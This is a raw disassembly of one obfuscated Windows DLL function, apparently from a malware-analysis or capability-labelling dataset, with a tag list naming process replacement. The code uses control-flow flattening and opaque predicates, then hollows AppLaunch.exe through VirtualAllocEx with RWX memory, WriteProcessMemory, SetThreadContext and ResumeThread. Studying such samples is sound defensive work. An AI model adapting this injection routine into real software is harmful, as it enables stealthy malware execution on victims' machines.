Function at 0x10002880
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x10170800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0x636cace4
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x80761678
je 0x10005a44
jmp 0x100028bc
mov eax, dword [ebp - 0x188]
sub eax, 0x82f29f78
je 0x100043a4
jmp 0x100028d2
mov eax, dword [ebp - 0x188]
sub eax, 0x83be51ba
je 0x10004d3d
jmp 0x100028e8
mov eax, dword [ebp - 0x188]
sub eax, 0x83cd7830
je 0x10004228
jmp 0x100028fe
mov eax, dword [ebp - 0x188]
sub eax, 0x844f6e5c
je 0x1000546a
jmp 0x10002914
mov eax, dword [ebp - 0x188]
sub eax, 0x883e9f0e
je 0x10005e3f
jmp 0x1000292a
mov eax, dword [ebp - 0x188]
sub eax, 0x8c341232
je 0x10005d47
jmp 0x10002940
mov eax, dword [ebp - 0x188]
sub eax, 0x8e86d411
je 0x10004c8c
jmp 0x10002956
mov eax, dword [ebp - 0x188]
sub eax, 0x92a5ccab
je 0x100055c9
jmp 0x1000296c
mov eax, dword [ebp - 0x188]
sub eax, 0x9396d6ca
je 0x1000491d
jmp 0x10002982
mov eax, dword [ebp - 0x188]
sub eax, 0x93b5194b
je 0x10006155
jmp 0x10002998
mov eax, dword [ebp - 0x188]
sub eax, 0x96d21e8d
je 0x10006da4
jmp 0x100029ae
mov eax, dword [ebp - 0x188]
sub eax, 0x96ff3611
je 0x10004f59
jmp 0x100029c4
mov eax, dword [ebp - 0x188]
sub eax, 0x993cfe73
je 0x100053a6
jmp 0x100029da
mov eax, dword [ebp - 0x188]
sub eax, 0x9b4e0875
je 0x10006b69
jmp 0x100029f0
mov eax, dword [ebp - 0x188]
sub eax, 0x9ca9229c
je 0x10005f0f
jmp 0x10002a06
mov eax, dword [ebp - 0x188]
sub eax, 0x9d79690e
je 0x100067f4
jmp 0x10002a1c
mov eax, dword [ebp - 0x188]
sub eax, 0x9db4b972
je 0x100048be
jmp 0x10002a32
mov eax, dword [ebp - 0x188]
sub eax, 0xa2ee885c
je 0x10006c4c
jmp 0x10002a48
mov eax, dword [ebp - 0x188]
sub eax, 0xa36d9e0d
je 0x10003d1b
jmp 0x10002a5e
mov eax, dword [ebp - 0x188]
sub eax, 0xa5c4b1e4
je 0x10004a29
jmp 0x10002a74
mov eax, dword [ebp - 0x188]
sub eax, 0xa60eecf2
je 0x10003cfa
jmp 0x10002a8a
mov eax, dword [ebp - 0x188]
sub eax, 0xa88c6e35
je 0x100050ef
jmp 0x10002aa0
mov eax, dword [ebp - 0x188]
sub eax, 0xa8ef7646
je 0x10003ed2
jmp 0x10002ab6
mov eax, dword [ebp - 0x188]
sub eax, 0xa9bb54be
je 0x10004d67
jmp 0x10002acc
mov eax, dword [ebp - 0x188]
sub eax, 0xaa1e3b81
je 0x100060df
jmp 0x10002ae2
mov eax, dword [ebp - 0x188]
sub eax, 0xaafca4a7
je 0x10005646
jmp 0x10002af8
mov eax, dword [ebp - 0x188]
sub eax, 0xab668081
je 0x10006a55
jmp 0x10002b0e
mov eax, dword [ebp - 0x188]
sub eax, 0xac23cf75
je 0x10003c12
jmp 0x10002b24
mov eax, dword [ebp - 0x188]
sub eax, 0xb08ded27
je 0x10005763
jmp 0x10002b3a
mov eax, dword [ebp - 0x188]
sub eax, 0xb194ae84
je 0x10003b95
jmp 0x10002b50
mov eax, dword [ebp - 0x188]
sub eax, 0xb1fc0215
je 0x1000401e
jmp 0x10002b66
mov eax, dword [ebp - 0x188]
sub eax, 0xb250b660
je 0x1000402d
jmp 0x10002b7c
mov eax, dword [ebp - 0x188]
sub eax, 0xb32ea33a
je 0x10006bc5
jmp 0x10002b92
mov eax, dword [ebp - 0x188]
sub eax, 0xb4036b36
je 0x100053b5
jmp 0x10002ba8
mov eax, dword [ebp - 0x188]
sub eax, 0xb4a034f8
je 0x10003dfb
jmp 0x10002bbe
mov eax, dword [ebp - 0x188]
sub eax, 0xb59c2748
je 0x10003ae5
jmp 0x10002bd4
mov eax, dword [ebp - 0x188]
sub eax, 0xb735761d
je 0x100041d7
jmp 0x10002bea
mov eax, dword [ebp - 0x188]
sub eax, 0xba7c1b68
je 0x10004cad
jmp 0x10002c00
mov eax, dword [ebp - 0x188]
sub eax, 0xbc4ef14e
je 0x1000534f
jmp 0x10002c16
mov eax, dword [ebp - 0x188]
sub eax, 0xbe0e9f7c
je 0x100056e7
jmp 0x10002c2c
mov eax, dword [ebp - 0x188]
sub eax, 0xbf905efc
je 0x10006062
jmp 0x10002c42
mov eax, dword [ebp - 0x188]
sub eax, 0xc06088da
je 0x10005fa3
jmp 0x10002c58
mov eax, dword [ebp - 0x188]
sub eax, 0xc0d82bf2
je 0x1000409b
jmp 0x10002c6e
mov eax, dword [ebp - 0x188]
sub eax, 0xc203faa3
je 0x10005dd0
jmp 0x10002c84
mov eax, dword [ebp - 0x188]
sub eax, 0xc4318109
je 0x100064c1
jmp 0x10002c9a
mov eax, dword [ebp - 0x188]
sub eax, 0xc442935c
je 0x10005772
jmp 0x10002cb0
mov eax, dword [ebp - 0x188]
sub eax, 0xc4581968
je 0x10004892
jmp 0x10002cc6
mov eax, dword [ebp - 0x188]
sub eax, 0xc47e1075
je 0x1000589c
jmp 0x10002cdc
mov eax, dword [ebp - 0x188]
sub eax, 0xc60996aa
je 0x100048fc
jmp 0x10002cf2
mov eax, dword [ebp - 0x188]
sub eax, 0xc7e2253f
je 0x1000626a
jmp 0x10002d08
mov eax, dword [ebp - 0x188]
sub eax, 0xc7e49640
je 0x10005538
jmp 0x10002d1e
mov eax, dword [ebp - 0x188]
sub eax, 0xc99290ce
je 0x10005045
jmp 0x10002d34
mov eax, dword [ebp - 0x188]
sub eax, 0xc9f51dbe
je 0x1000562b
jmp 0x10002d4a
mov eax, dword [ebp - 0x188]
sub eax, 0xcbdac6bf
je 0x10006b11
jmp 0x10002d60
mov eax, dword [ebp - 0x188]
sub eax, 0xcbe8ac98
je 0x10006cd7
jmp 0x10002d76
mov eax, dword [ebp - 0x188]
sub eax, 0xccbc6687
je 0x1000585e
jmp 0x10002d8c
mov eax, dword [ebp - 0x188]
sub eax, 0xcce60d62
je 0x100048db
jmp 0x10002da2
mov eax, dword [ebp - 0x188]
sub eax, 0xcdeddc27
je 0x10006a46
jmp 0x10002db8
mov eax, dword [ebp - 0x188]
sub eax, 0xd1efed74
je 0x10005c9e
jmp 0x10002dce
mov eax, dword [ebp - 0x188]
sub eax, 0xd37fe284
je 0x10005d38
jmp 0x10002de4
mov eax, dword [ebp - 0x188]
sub eax, 0xd49dfc3e
je 0x100043ec
jmp 0x10002dfa
mov eax, dword [ebp - 0x188]
sub eax, 0xd63276ba
je 0x10003e78
jmp 0x10002e10
mov eax, dword [ebp - 0x188]
sub eax, 0xd6e50d9d
je 0x10003ec3
jmp 0x10002e26
mov eax, dword [ebp - 0x188]
sub eax, 0xd7492cbd
je 0x100052d9
mov eax, dword [ebp - 0x128]
movzx edx, word [eax]
mov eax, 0xf16d3575
mov ecx, 0x650c8d9e
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x120], eax
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9d79690e
mov ecx, 0xac23cf75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x5e68fafa
jmp 0x10006dae
mov dl, byte [ebp - 0x119]
mov eax, 0x28787061
mov ecx, 0xa36d9e0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007c90
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007c90
add esp, 0xc
mov eax, dword [ebp - 0x160]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x184], 0x72f00834
jmp 0x10006dae
mov eax, dword [ebp - 0x118]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x161], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [ebp - 0x168], eax
mov al, byte [ebp - 0x161]
mov byte [ebp - 0x112], al
mov eax, dword [0x10171b30]
mov ecx, dword [0x10171b2c]
mov edx, eax
add edx, 0xb3492267
sub edx, 1
sub edx, 0xb3492267
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ce1218d
mov ecx, 0xd63276ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x24a9fb43
jmp 0x10006dae
mov dword [ebp - 0x184], 0xa8ef7646
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
add edx, 0xc959fa6f
sub edx, 1
sub edx, 0xc959fa6f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf8f24da6
mov ecx, 0x262d53e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0xb250b660
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6d549998
mov ecx, 0xc0d82bf2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [0x10171b30]
mov ecx, dword [0x10171b2c]
mov edx, eax
add edx, 0xe59bb7f5
sub edx, 1
sub edx, 0xe59bb7f5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6d549998
mov ecx, 0x21c41aec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x116c4ae1
jmp 0x10006dae
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.10002450
add esp, 4
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x184], 0x53622975
jmp 0x10006dae
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x184], 0xd49dfc3e
jmp 0x10006dae
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x184], 0xeac1564
jmp 0x10006dae
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x184], 0x9db4b972
jmp 0x10006dae
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xe4]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0x17f3cc81
jmp 0x10006dae
cmp dword [ebp - 0x17c], 0
setne al
and al, 1
mov byte [ebp - 0xdd], al
mov dword [ebp - 0x184], 0xc60996aa
jmp 0x10006dae
mov dl, byte [ebp - 0xdd]
mov eax, 0x73be86db
mov ecx, 0x9396d6ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcdeddc27
mov ecx, 0x1ae03ac9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [0x10171b30]
mov ecx, dword [0x10171b2c]
mov edx, eax
add edx, 0x5859c02d
sub edx, 1
sub edx, 0x5859c02d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xab668081
mov ecx, 0xe7b13160
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dl, byte [ebp - 0xd1]
mov eax, 0x7b747f15
mov ecx, 0xba7c1b68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov ecx, dword [ebp - 0x17c]
add ecx, 0x3a805334
add ecx, 8
sub ecx, 0x3a805334
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax + 4]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x184], 0x4b1e8e7d
jmp 0x10006dae
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0xc9], al
mov dword [ebp - 0x184], 0xa9bb54be
jmp 0x10006dae
mov dl, byte [ebp - 0xc9]
mov eax, 0xb4036b36
mov ecx, 0x54d5502c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x17c]
mov edx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov edx, dword [ebp - 0x144]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0x163ebda4
or edx, esi
or eax, 0x163ebda4
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0xbc], eax
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
sub edx, 0xf01861ac
sub edx, 1
add edx, 0xf01861ac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x133232a6
mov ecx, 0xc99290ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x6ebb9543
jmp 0x10006dae
mov eax, dword [0x10171b30]
mov ecx, dword [0x10171b2c]
mov edx, eax
sub edx, 0x2a68b2dc
sub edx, 1
add edx, 0x2a68b2dc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbdac6bf
mov ecx, 0x4e5d8c7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [0x10171b30]
mov ecx, dword [0x10171b2c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9b4e0875
mov ecx, 0x993cfe73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x83be51ba
jmp 0x10006dae
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x17c]
mov ecx, dword [ecx + 4]
sub eax, 0xf3629544
add eax, ecx
add eax, 0xf3629544
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x184], 0x18dda698
jmp 0x10006dae
mov eax, dword [0x10171b30]
mov ecx, dword [0x10171b2c]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4fa2781d
mov ecx, 0x6e839149
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [ebp - 0x134]
mov dword [eax], 0
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
add edx, 0x79c34855
sub edx, 1
sub edx, 0x79c34855
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe3630628
mov ecx, 0x6ffe5557
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x200853c3
jmp 0x10006dae
mov eax, dword [ebp - 0x130]
mov dword [eax], 0x40
mov dword [ebp - 0x184], 0xaafca4a7
jmp 0x10006dae
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x134]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xde949cbb
mov ecx, 0xe593e1b4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x15fd455f
mov ecx, 0xb08ded27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0xc442935c
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
add edx, 0x5817445a
sub edx, 1
sub edx, 0x5817445a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb32ea33a
mov ecx, 0xfb0f57eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dl, byte [ebp - 0x9d]
mov eax, 0xde949cbb
mov ecx, 0x78220ae0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
sub edx, 0x62f4e2bd
sub edx, 1
add edx, 0x62f4e2bd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x25f9e413
mov ecx, 0xf25b84f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [ebp - 0x130]
mov dword [eax], 0x40
mov eax, dword [0x10171b30]
mov ecx, dword [0x10171b2c]
mov edx, eax
add edx, 0x2d2f2b3b
sub edx, 1
sub edx, 0x2d2f2b3b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bb12d57
mov ecx, 0xf0024d60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x388e3e04
jmp 0x10006dae
mov dword [ebp - 0x184], 0x2e7b820b
jmp 0x10006dae
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xb344a493
or eax, edx
or ecx, 0xb344a493
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x184], 0x59380fc1
jmp 0x10006dae
mov edx, dword [ebp - 0x88]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x20000000
mov eax, 0xffffffff
xor eax, 0xe091c0a5
or edx, ecx
or eax, 0xe091c0a5
xor edx, 0xffffffff
and edx, eax
mov eax, 0x883e9f0e
mov ecx, 0x18b3e226
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xd5b2e979
or eax, edx
or ecx, 0xd5b2e979
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x81], al
mov dword [ebp - 0x184], 0xeb87f5e
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
add edx, 0x924bc54b
sub edx, 1
sub edx, 0x924bc54b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa2ee885c
mov ecx, 0x4d6eba90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
sub edx, 0x2840dfe0
sub edx, 1
add edx, 0x2840dfe0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfb2293bf
mov ecx, 0x1c23a1b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0x2e7b820b
jmp 0x10006dae
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
mov edx, ecx
add edx, 0xfeb516ce
sub edx, 1
sub edx, 0xfeb516ce
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4100401d
mov ecx, 0x93b5194b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0xeaef7af0
jmp 0x10006dae
mov dword [ebp - 0x184], 0xdc1efde0
jmp 0x10006dae
mov ecx, dword [ebp - 0x70]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x160]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x16c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [0x10171b30]
mov eax, dword [0x10171b2c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcbe8ac98
mov ecx, 0x20229003
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10006dae
mov dword [ebp - 0x184], 0xb194ae84
jmp 0x10006dae
mov dword [ebp - 0x184], 0x1ae03ac9
jmp 0x10006dae
mov dword [ebp - 0x184], 0xe7b13160
jmp 0x10006dae
mov eax, dword [ebp - 0xb4]
mov edx, dword [eax]
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0xb8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x184], 0x4e5d8c7b
jmp 0x10006dae
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0xb0]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xbc4ef14e
jmp 0x10006dae
